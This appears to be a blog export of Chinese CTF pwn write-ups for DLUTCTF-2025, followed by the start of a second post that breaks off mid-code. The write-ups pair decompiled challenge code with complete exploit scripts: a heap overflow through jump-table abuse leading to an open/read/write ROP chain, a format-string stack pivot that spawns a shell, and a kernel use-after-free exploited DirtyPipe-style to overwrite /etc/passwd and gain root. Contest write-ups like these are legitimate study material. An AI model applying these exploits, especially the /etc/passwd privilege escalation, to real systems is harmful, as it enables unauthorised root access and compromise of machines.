[{"content":"heap_master checksec 1 2 3 4 5 6 7 8 9 [*] \u0026#39;/home/RatherHard/CTF-pwn/dlutctf2025/heap/heap_master\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No IDA trace 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 unsigned __int64 trace() { int stat_loc; // [rsp+Ch] [rbp-A4h] BYREF unsigned int v2; // [rsp+10h] [rbp-A0h] __pid_t pid; // [rsp+14h] [rbp-9Ch] __int64 v4; // [rsp+18h] [rbp-98h] _BYTE v5[120]; // [rsp+20h] [rbp-90h] BYREF __int64 v6; // [rsp+98h] [rbp-18h] unsigned __int64 v7; // [rsp+A8h] [rbp-8h] v7 = __readfsqword(0x28u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); v2 = fork(); if ( !v2 ) { if ( prctl(1, 9) \u0026lt; 0 ) error(\u0026#34;prctl error\u0026#34;); if ( ptrace(PTRACE_TRACEME, 0, 0, 0) ) error(\u0026#34;hack !!!!\u0026#34;); pid = getpid(); kill(pid, 19); func(); } if ( waitpid(v2, \u0026amp;stat_loc, 0) \u0026lt; 0 ) error(\u0026#34;waitpid error1\u0026#34;); alarm(0xFu); ptrace(PTRACE_SETOPTIONS, v2, 0, 1); do { ptrace(PTRACE_SYSCALL, v2, 0, 0); if ( waitpid(v2, \u0026amp;stat_loc, 0x40000000) \u0026lt; 0 ) error(\u0026#34;waitpid error2\u0026#34;); if ( (stat_loc \u0026amp; 0x7F) == 0 || (_BYTE)stat_loc == 127 \u0026amp;\u0026amp; BYTE1(stat_loc) == 11 ) break; if ( ptrace(PTRACE_GETREGS, v2, 0, v5) \u0026lt; 0 ) error(\u0026#34;GETREGS error\u0026#34;); v4 = v6; if ( v6 == 59 ) { printf(\u0026#34;bad syscall: %llu\\n\u0026#34;, 59); v6 = -1; if ( ptrace(PTRACE_SETREGS, v2, 0, v5) \u0026lt; 0 ) error(\u0026#34;SETREGS error\u0026#34;); } ptrace(PTRACE_SYSCALL, v2, 0, 0); if ( waitpid(v2, \u0026amp;stat_loc, 0x40000000) \u0026lt; 0 ) error(\u0026#34;waitpid error3\u0026#34;); } while ( (stat_loc \u0026amp; 0x7F) != 0 \u0026amp;\u0026amp; ((_BYTE)stat_loc != 127 || BYTE1(stat_loc) != 11) ); return v7 - __readfsqword(0x28u); } 反调试、沙箱\n不过自己 patch 一下就可以调试了\nfunc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __noreturn func() { int v0; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts(\u0026#34;Don\u0026#39;t worry, it\u0026#39;s just an ordinary pwn.\u0026#34;); puts(\u0026#34;now tell me your name.\u0026#34;); read(0, name, 0x100u); printf(\u0026#34;hello,%s.\\n\u0026#34;, name); while ( 1 ) { menu(); read_int(\u0026amp;v0); switch ( v0 ) { case 0: case 6: myexit(\u0026amp;v0, name); case 1: alloc(); break; case 2: dele(\u0026amp;v0, name); break; case 3: show(\u0026amp;v0, name); break; case 4: edit(\u0026amp;v0, name); break; case 5: backdoor(\u0026amp;v0, name); break; } } } 菜单逻辑\nalloc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 alloc() { unsigned int v1; // [rsp+8h] [rbp-18h] BYREF _DWORD size[3]; // [rsp+Ch] [rbp-14h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); *(_QWORD *)\u0026amp;size[1] = 0; puts(\u0026#34;tell me idx:\u0026#34;); read_int(\u0026amp;v1); if ( v1 \u0026lt;= 0x1D ) { puts(\u0026#34;tell me size:\u0026#34;); read_int(size); if ( size[0] \u0026lt;= 0x4FFu \u0026amp;\u0026amp; size[0] \u0026gt; 7u ) { *(_QWORD *)\u0026amp;size[1] = malloc(size[0]); if ( *(_QWORD *)\u0026amp;size[1] ) { chunk_list[v1] = *(_QWORD *)\u0026amp;size[1]; chunk_size[v1] = size[0]; } puts(\u0026#34;alloc down\u0026#34;); } } return v3 - __readfsqword(0x28u); } dele 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 dele() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts(\u0026#34;tell me idx:\u0026#34;); read_int(\u0026amp;v1); if ( chunk_list[v1] \u0026amp;\u0026amp; v1 \u0026lt;= 0x1E ) { free((void *)chunk_list[v1]); chunk_list[v1] = 0; chunk_size[v1] = 0; puts(\u0026#34;dele down\u0026#34;); } return v2 - __readfsqword(0x28u); } show 1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 show() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts(\u0026#34;tell me idx:\u0026#34;); read_int(\u0026amp;v1); if ( chunk_list[v1] \u0026amp;\u0026amp; v1 \u0026lt;= 0x1E ) write(1, (const void *)chunk_list[v1], (int)chunk_size[v1]); return v2 - __readfsqword(0x28u); } edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 edit() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts(\u0026#34;tell me idx:\u0026#34;); read_int(\u0026amp;v1); if ( chunk_list[v1] \u0026amp;\u0026amp; v1 \u0026lt;= 0x1E ) { puts(\u0026#34;tell me context:\u0026#34;); read(0, (void *)chunk_list[v1], chunk_size[v1] - 1); puts(\u0026#34;dele down\u0026#34;); } return v2 - __readfsqword(0x28u); } 看不出有明显的堆漏洞\nasm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 .text:0000000000001AF6 endbr64 .text:0000000000001AFA push rbp .text:0000000000001AFB mov rbp, rsp .text:0000000000001AFE sub rsp, 10h .text:0000000000001B02 mov rax, fs:28h .text:0000000000001B0B mov [rbp+var_8], rax .text:0000000000001B0F xor eax, eax .text:0000000000001B11 lea rax, aDonTWorryItSJu ; \u0026#34;Don\u0026#39;t worry, it\u0026#39;s just an ordinary pwn.\u0026#34; .text:0000000000001B18 mov rdi, rax ; s .text:0000000000001B1B call _puts .text:0000000000001B20 lea rax, aNowTellMeYourN ; \u0026#34;now tell me your name.\u0026#34; .text:0000000000001B27 mov rdi, rax ; s .text:0000000000001B2A call _puts .text:0000000000001B2F lea rsi, name ; buf .text:0000000000001B36 mov rdi, 0 ; fd .text:0000000000001B3D mov rdx, 100h ; nbytes .text:0000000000001B44 call _read .text:0000000000001B49 lea rax, name .text:0000000000001B50 mov rsi, rax .text:0000000000001B53 lea rax, aHelloS ; \u0026#34;hello,%s.\\n\u0026#34; .text:0000000000001B5A mov rdi, rax ; format .text:0000000000001B5D mov eax, 0 .text:0000000000001B62 call _printf .text:0000000000001B67 .text:0000000000001B67 loc_1B67: ; CODE XREF: func:loc_1BEC↓j .text:0000000000001B67 push rsi .text:0000000000001B68 mov eax, 0 .text:0000000000001B6D call menu .text:0000000000001B72 lea rax, [rbp+var_C] .text:0000000000001B76 mov rdi, rax .text:0000000000001B79 call read_int .text:0000000000001B7E pop rsi .text:0000000000001B7F mov eax, [rbp+var_C] .text:0000000000001B82 mov eax, eax .text:0000000000001B84 lea rdx, ds:0[rax*4] ; switch 7 cases .text:0000000000001B8C lea rax, jpt_1BA2 .text:0000000000001B93 mov eax, ds:(jpt_1BA2 - 215Ch)[rdx+rax] .text:0000000000001B96 cdqe .text:0000000000001B98 lea rdx, jpt_1BA2 .text:0000000000001B9F add rax, rdx .text:0000000000001BA2 db 3Eh ; switch jump .text:0000000000001BA2 jmp rax switch 针对 rax 不设校验，有跳转表的漏洞\n跳转到哪里好呢？\n1 2 3 4 .text:0000000000001B2F lea rsi, name ; buf .text:0000000000001B36 mov rdi, 0 ; fd .text:0000000000001B3D mov rdx, 100h ; nbytes .text:0000000000001B44 call _read 想到利用 rsi 残留值跳到 1B36 处\n经过动调发现 rsi 在经过 show 函数后会指向我们指定的 chunk ，那么利用跳转表漏洞就可以打堆溢出啦\n跳转表的条目要写在 name 上（\n最后就是 tcache poisoning -\u0026gt; house of apple2 的板子\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./heap_master_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) def safe_linking(pos, ptr): return (pos \u0026gt;\u0026gt; 12) ^ ptr def jmp(idx): sla(b\u0026#39;input :\u0026#39;, str(idx).encode()) def alloc(idx, size): sla(b\u0026#39;input :\u0026#39;, b\u0026#39;1\u0026#39;) sla(b\u0026#39;idx:\u0026#39;, str(idx).encode()) sa(b\u0026#39;size:\u0026#39;, str(size).encode()) def dele(idx): sla(b\u0026#39;input :\u0026#39;, b\u0026#39;2\u0026#39;) sla(b\u0026#39;idx:\u0026#39;, str(idx).encode()) def show(idx): sla(b\u0026#39;input :\u0026#39;, b\u0026#39;3\u0026#39;) sla(b\u0026#39;idx:\u0026#39;, str(idx).encode()) def edit(idx, content): sla(b\u0026#39;input :\u0026#39;, b\u0026#39;4\u0026#39;) sla(b\u0026#39;idx:\u0026#39;, str(idx).encode()) sa(b\u0026#39;context:\u0026#39;, content) def exit(): sla(b\u0026#39;input :\u0026#39;, b\u0026#39;6\u0026#39;) sla(b\u0026#39;name.\\n\u0026#39;, b\u0026#39;\\xda\\xf9\\xff\\xff\u0026#39;) alloc(0, 0x80) dele(0) alloc(0, 0x80) show(0) heap = uu64(ru(b\u0026#39;\\x05\u0026#39;)[-5:]) \u0026lt;\u0026lt; 12 leak(\u0026#39;heap\u0026#39;) for i in range(1, 10): alloc(i, 0x80) for i in range(0, 9): dele(i) for i in range(0, 8): alloc(i, 0x80) show(7) libc.address = uru64() - 0x21adf0 leak(\u0026#39;libc.address\u0026#39;) alloc(8, 0x80) alloc(10, 0x18) alloc(11, 0x18) alloc(12, 0x18) dele(12) dele(11) edit(10, b\u0026#39;OwO\u0026#39;) show(10) jmp(1985) payload = b\u0026#39;A\u0026#39; * 0x18 + p64(0x21) + p64(safe_linking(heap + 0xc50, heap + 0x100)) sl(payload) alloc(13, 0xf8) dele(13) alloc(14, 0x18) alloc(15, 0x18) stderr = libc.sym[\u0026#39;_IO_2_1_stderr_\u0026#39;] edit(15, p64(stderr)) alloc(16, 0xf8) fake_io = flat({ 0x0: 0, 0x10: b\u0026#39;flag\\x00\u0026#39;, 0x28: libc.sym[\u0026#39;setcontext\u0026#39;] + 0x3d, 0x38: 0, # RDI 0x40: stderr + 0x20, # RSI 0x58: 0x400, # RDX 0x70: stderr + 0x20, # RSP 0X78: libc.sym[\u0026#39;read\u0026#39;], # RIP 0x88: stderr, 0xA0: stderr - 0x30, # __rdx__ 0xB0: stderr - 0x40, 0xD8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;] }, filler=b\u0026#34;\\x00\u0026#34; ) edit(16, fake_io) exit() pop_rax_ret = libc.address + 0x45eb0 pop_rdi_ret = libc.address + 0x2a3e5 pop_rsi_ret = libc.address + 0x2be51 pop_rdx_pop_r12_ret = libc.address + 0x11f2e7 syscall_ret = libc.address + 0x91316 rop_chain = flat([ pop_rax_ret, 2, pop_rdi_ret, stderr + 0x10, pop_rsi_ret, 0, syscall_ret,\t# open(\u0026#34;flag\u0026#34;, 0, 0) pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, stderr + 0x100, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret,\t# read(3, buf, 0x100) pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, stderr + 0x100, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret\t# write(1, buf, 0x100) ]) s(rop_chain) itr() # 0x0000000000045eb0: pop rax; ret; # 0x000000000002a3e5: pop rdi; ret; # 0x000000000002be51: pop rsi; ret; # 0x000000000011f2e7: pop rdx; pop r12; ret; # 0x0000000000091316: syscall; ret; fmt checksec 1 2 3 4 5 6 7 8 9 [*] \u0026#39;/home/RatherHard/CTF-pwn/dlutctf2025/fmt/fmt\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No 应该是很简单的栈\nIDA main 1 2 3 4 5 6 7 8 9 10 int __fastcall main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts(\u0026#34;you have one chance .\u0026#34;); read(0, \u0026amp;buf, 0x100u); func1((__int64)\u0026amp;buf); return 0; } func1 1 2 3 4 int __fastcall func1(const char *a1) { return func2(a1); } func2 1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall func2(const char *a1) { int result; // eax result = flag; if ( flag == 1 ) { result = printf(a1); flag = 0; } return result; } 攻击思路 格式化字符串打栈， func 套了两层，那么栈迁移一下就行啦\n尝试用了 pwntools 的神奇 rop 工具，挺好用的\n有时间打算去看看 pwncli\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./fmt_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) fake_stack = 0x4040a0 + 0x80 back = 0x401252 payload = b\u0026#39;%\u0026#39; + str(fake_stack - 0x8).encode() + b\u0026#39;c%8$ln;%3$p\u0026#39; payload = payload.ljust(0x80, b\u0026#39;\\x00\u0026#39;) payload += p64(back) sa(b\u0026#39;chance .\u0026#39;, payload) ru(b\u0026#39;;0x\u0026#39;) libc.address = int(r(12).decode(\u0026#39;utf-8\u0026#39;), 16) - 0x1147e2 leak(\u0026#39;libc.address\u0026#39;) bin_sh = next(libc.search(b\u0026#39;/bin/sh\u0026#39;)) chain = ROP(libc) chain.execve(bin_sh, 0, 0) payload = b\u0026#39;A\u0026#39; * 0x80 + chain.chain() s(payload) itr() ker 第一道内核题\nIDA ioctl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 __fastcall module_ioctl(file *__file, __int64 cmd, unsigned __int64 param) { unsigned int v3; // edx unsigned int v4; // r12d __int64 v5; // rbx _QWORD *v7; // rax _fentry__(); v4 = v3; raw_spin_lock(\u0026amp;spin); switch ( (_DWORD)cmd ) { case 0xFFFF: kfree(buffer); buffer = 0; break; case 0xDEADBEEF: if ( v4 \u0026lt;= 0x400 ) *((_BYTE *)buffer + (v4 \u0026gt;\u0026gt; 3)) ^= 1 \u0026lt;\u0026lt; (v4 \u0026amp; 7); break; case 0x1000: v7 = buffer; if ( !buffer ) { v7 = (_QWORD *)kmalloc_trace(kmalloc_caches[262], 0x400CC0, 1024); buffer = v7; if ( !v7 ) { v5 = -1; goto LABEL_5; } } *v7 = 0; v7[127] = 0; memset( (void *)((unsigned __int64)(v7 + 1) \u0026amp; 0xFFFFFFFFFFFFFFF8LL), 0, 8LL * (((unsigned int)v7 - (((_DWORD)v7 + 8) \u0026amp; 0xFFFFFFF8) + 1024) \u0026gt;\u0026gt; 3)); break; } v5 = 0; LABEL_5: raw_spin_unlock(\u0026amp;spin); return v5; } 有位翻转\nopen 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __int64 __fastcall module_open(inode *__inode, file *__file) { _fentry__(); raw_spin_lock(\u0026amp;spin); if ( buffer ) goto LABEL_2; buffer = (void *)kmalloc_trace(kmalloc_caches[262], 0x400CC0, 1024); if ( buffer ) { memset(buffer, 0, 0x400u); LABEL_2: raw_spin_unlock(\u0026amp;spin); return 0; } return 0xFFFFFFFFLL; } 打开设备时往全局变量 buffer 上写入指向堆区的指针，但如果 buffer 非空则不做操作\nrelease 1 2 3 4 5 6 7 8 9 __int64 __fastcall module_release(inode *__inode, file *__file) { _fentry__(); raw_spin_lock(\u0026amp;spin); if ( buffer ) kfree(buffer); raw_spin_unlock(\u0026amp;spin); return 0; } close 时会 free ，结合上面的 open 产生了 UAF\n攻击思路 听学长的建议去了解了一下 DirtyPipe\n发现这题用 DirtyPipe 很好打，甚至不用做 rop 或者绕各种保护\n有了 UAF 就把 pipe_buffer 喷上去，然后用位翻转改 flag 就能去写任意文件了\n然后去改 /etc/passwd 的 root 密码， su 一下就能提权\n有空会去复现一下相关 CVE\n经验总结 这道题只申请一个 pipe_buffer 可能命中不了，所以需要多申请几个，这就是堆喷射: Heap Spray\nfd 被 close 后就没了，想用 ioctl 的话需要再次 open\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include \u0026#34;kernelpwn.h\u0026#34; #define CMD_CLEAN 0xFFFF #define CMD_ALLOC 0x1000 #define CMD_EDIT 0xDEADBEEF int spraycount = 50; int main() { printf(\u0026#34;Enter spraycount:\u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;spraycount); bind_core(0); int file_fd = open(\u0026#34;/etc/passwd\u0026#34;, O_RDONLY); int fd = open(\u0026#34;/dev/kernel_master\u0026#34;, O_RDWR); close(fd); int pipe_fds[spraycount][2]; for (int i = 0; i \u0026lt; spraycount; i++) { pipe(pipe_fds[i]); splice(file_fd, NULL, pipe_fds[i][1], NULL, 1, SPLICE_F_MOVE); } int fd2 = open(\u0026#34;/dev/kernel_master\u0026#34;, O_RDWR); ioctl(fd2, CMD_EDIT, (24 \u0026lt;\u0026lt; 3) + 4); const char *data = \u0026#34;oot::0:0:root:/root:/bin/sh\\n\u0026#34;; for (int i = 0; i \u0026lt; spraycount; i++) { write(pipe_fds[i][1], data, strlen(data)); } return 0; } ","date":"2026-04-27T10:50:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/contest/dlutctf-2025-pwn-wp/","title":"DLUTCTF-2025-pwn 题解"},{"content":"checksec 1 2 3 4 5 6 7 8 9 [*] \u0026#39;/home/RatherHard/CTF-pwn/dlutctf2025/deploy/main\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { const char *password; // rdx const char *password_1; // rdx __int64 task; // rbx int i; // [rsp+4h] [rbp-6Ch] int idx; // [rsp+8h] [rbp-68h] int idx_1; // [rsp+Ch] [rbp-64h] _DWORD *packet; // [rsp+10h] [rbp-60h] const char *token; // [rsp+18h] [rbp-58h] char *command; // [rsp+20h] [rbp-50h] __int64 user; // [rsp+28h] [rbp-48h] char *task_content; // [rsp+38h] [rbp-38h] const char *name_1; // [rsp+40h] [rbp-30h] const char *name; // [rsp+50h] [rbp-20h] while ( 1 ) { while ( 1 ) { packet = read_packet(); token = (const char *)get_filed_value((__int64)packet, \u0026#34;user_token\u0026#34;); command = (char *)get_filed_value((__int64)packet, \u0026#34;command\u0026#34;); if ( !command ) err(\u0026#34;Invalid packet\u0026#34;); if ( !token ) { if ( !strcmp(command, \u0026#34;login\u0026#34;) ) { name = (const char *)get_filed_value((__int64)packet, \u0026#34;username\u0026#34;); password = (const char *)get_filed_value((__int64)packet, \u0026#34;password\u0026#34;); user_login(name, password); } else { if ( strcmp(command, \u0026#34;register\u0026#34;) ) err(\u0026#34;Invalid command\u0026#34;); name_1 = (const char *)get_filed_value((__int64)packet, \u0026#34;username\u0026#34;); password_1 = (const char *)get_filed_value((__int64)packet, \u0026#34;password\u0026#34;); user_register(name_1, password_1); } goto LABEL_28; } idx = search_user_by_token(token, 32); if ( idx == -1 ) err(\u0026#34;Invalid token\u0026#34;); user = all_users[idx]; if ( strcmp(command, \u0026#34;submit_task\u0026#34;) ) break; if ( *(_QWORD *)(user + 0x20) ) // task { if ( !*(_DWORD *)(user + 0x18) ) { *(_DWORD *)(user + 0x18) = 1; task_content = (char *)get_filed_value((__int64)packet, \u0026#34;task_content\u0026#34;); if ( !task_content ) err(\u0026#34;Invalid packet\u0026#34;); task = *(_QWORD *)(user + 32); *(_QWORD *)(task + 32) = strdup(task_content); run_task(*(void **)(user + 32)); goto LABEL_28; } puts(\u0026#34;Task is being running, try again later\u0026#34;); } else { puts(\u0026#34;Sorry you cannot run task\u0026#34;); } } if ( strcmp(command, \u0026#34;deregister\u0026#34;) ) err(\u0026#34;Invalid command\u0026#34;); if ( user_count \u0026gt; 0 ) { idx_1 = search_user_by_token(token, 32); if ( idx_1 == -1 ) err(\u0026#34;Invalid token\u0026#34;); free((void *)all_users[idx_1]); for ( i = idx_1; i \u0026lt; user_count - 1; ++i ) all_users[i] = all_users[i + 1]; all_users[--user_count] = 0; puts(\u0026#34;Deregister success\u0026#34;); LABEL_28: free_packet((__int64)packet); } } } read_packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 _DWORD *read_packet() { int len; // [rsp+4h] [rbp-102Ch] char *s; // [rsp+8h] [rbp-1028h] _DWORD *packet; // [rsp+10h] [rbp-1020h] char *v4; // [rsp+18h] [rbp-1018h] _QWORD buf[514]; // [rsp+20h] [rbp-1010h] BYREF buf[513] = __readfsqword(0x28u); memset(buf, 0, 0x1000u); len = read(0, buf, 0xFFFu); *((_BYTE *)buf + len) = 0; packet = create_packet(); for ( s = (char *)buf; s \u0026lt; (char *)buf + len; s = v4 + 1 ) { v4 = strchr(s, \u0026#39;\\n\u0026#39;); if ( !v4 ) break; *v4 = 0; packet_parse_line((__int64)packet, s); } return packet; } 解析数据包，按行分配\ncreate_packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 _DWORD *create_packet() { _DWORD *ptr; // [rsp+8h] [rbp-8h] ptr = malloc(0x10u); if ( ptr ) { *(_QWORD *)ptr = malloc(0x80u); if ( *(_QWORD *)ptr ) { ptr[2] = 0; ptr[3] = 8; return ptr; } else { perror(\u0026#34;malloc fields failed\u0026#34;); free(ptr); return 0; } } else { perror(\u0026#34;malloc packet failed\u0026#34;); return 0; } } 为数据包分配空间\npacket_parse_line 1 2 3 4 5 6 7 8 9 10 11 void __fastcall packet_parse_line(__int64 packet, const char *key) { char *value; // [rsp+18h] [rbp-18h] value = strchr(key, \u0026#39;:\u0026#39;); if ( value ) { *value = 0; add_filed(packet, key, value + 1); } } 可以看出数据包的格式：\n1 key1:val1\\nkey2:val2\\n... add_filed 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __fastcall add_filed(__int64 packet, const char *key, const char *value) { char **v3; // rbx __int64 v4; // rbx if ( packet \u0026amp;\u0026amp; key \u0026amp;\u0026amp; value \u0026amp;\u0026amp; (*(_DWORD *)(packet + 8) \u0026lt; *(_DWORD *)(packet + 12) || (unsigned int)expand_fields(packet)) ) { v3 = (char **)(*(_QWORD *)packet + 16LL * *(int *)(packet + 8)); *v3 = strdup(key); v4 = *(_QWORD *)packet + 16LL * *(int *)(packet + 8); *(_QWORD *)(v4 + 8) = strdup(value); ++*(_DWORD *)(packet + 8); } } 注意 strdup 会为字符串分配堆空间\nget_filed_value 1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall get_filed_value(__int64 packet, const char *key) { int i; // [rsp+1Ch] [rbp-4h] if ( !packet || !key ) return 0; for ( i = 0; i \u0026lt; *(_DWORD *)(packet + 8); ++i ) { if ( !strcmp(*(const char **)(16LL * i + *(_QWORD *)packet), key) ) return *(_QWORD *)(16LL * i + *(_QWORD *)packet + 8); } return 0; } user_login 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall user_login(const char *name, const char *password) { __int64 result; // rax int i; // [rsp+1Ch] [rbp-4h] if ( !name || !password ) return 0; for ( i = 0; ; ++i ) { result = (unsigned int)user_count; if ( i \u0026gt;= user_count ) break; if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) \u0026amp;\u0026amp; !strcmp(password, *(const char **)(all_users[i] + 16LL)) ) { puts(\u0026#34;Login success\u0026#34;); printf(\u0026#34;user_token:%s\\n\u0026#34;, *(const char **)all_users[i]); } } return result; } 登录逻辑，登录成功会返回 token\nuser_register 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __int64 __fastcall user_register(const char *name, const char *password) { int idx; // eax int i; // [rsp+14h] [rbp-Ch] _QWORD *user; // [rsp+18h] [rbp-8h] if ( !name || !password ) return 0xFFFFFFFFLL; for ( i = 0; i \u0026lt; user_count; ++i ) { if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) ) err(\u0026#34;User already exists\u0026#34;); } user = malloc(0x28u); *user = malloc(0x20u); // token gen_random_bytes((_BYTE *)*user, 0x20u); user[1] = strdup(name); user[2] = strdup(password); *((_DWORD *)user + 6) = 0; allocate_task((__int64)user); idx = user_count++; all_users[idx] = user; puts(\u0026#34;Reigster success!\u0026#34;); return 0; } 会尝试为每个用户分配 task 空间\nallocate_task 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall allocate_task(__int64 user) { __int64 result; // rax _QWORD *task; // [rsp+18h] [rbp-8h] result = (unsigned int)task_allocated; if ( task_allocated \u0026lt;= 15 ) { task = malloc(0x28u); task[1] = 0; *(_DWORD *)task = 0; task[3] = user + 0x18; ++task_allocated; result = user; *(_QWORD *)(user + 0x20) = task; } return result; } task 上限为 15 个\nsearch_user_by_token 1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall search_user_by_token(const char *token, int len) { int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i \u0026lt; user_count; ++i ) { if ( !strncmp(token, *(const char **)all_users[i], len) ) return (unsigned int)i; } return 0xFFFFFFFFLL; } run_task 1 2 3 4 5 6 7 8 9 unsigned __int64 __fastcall run_task(void *task) { pthread_t newthread; // 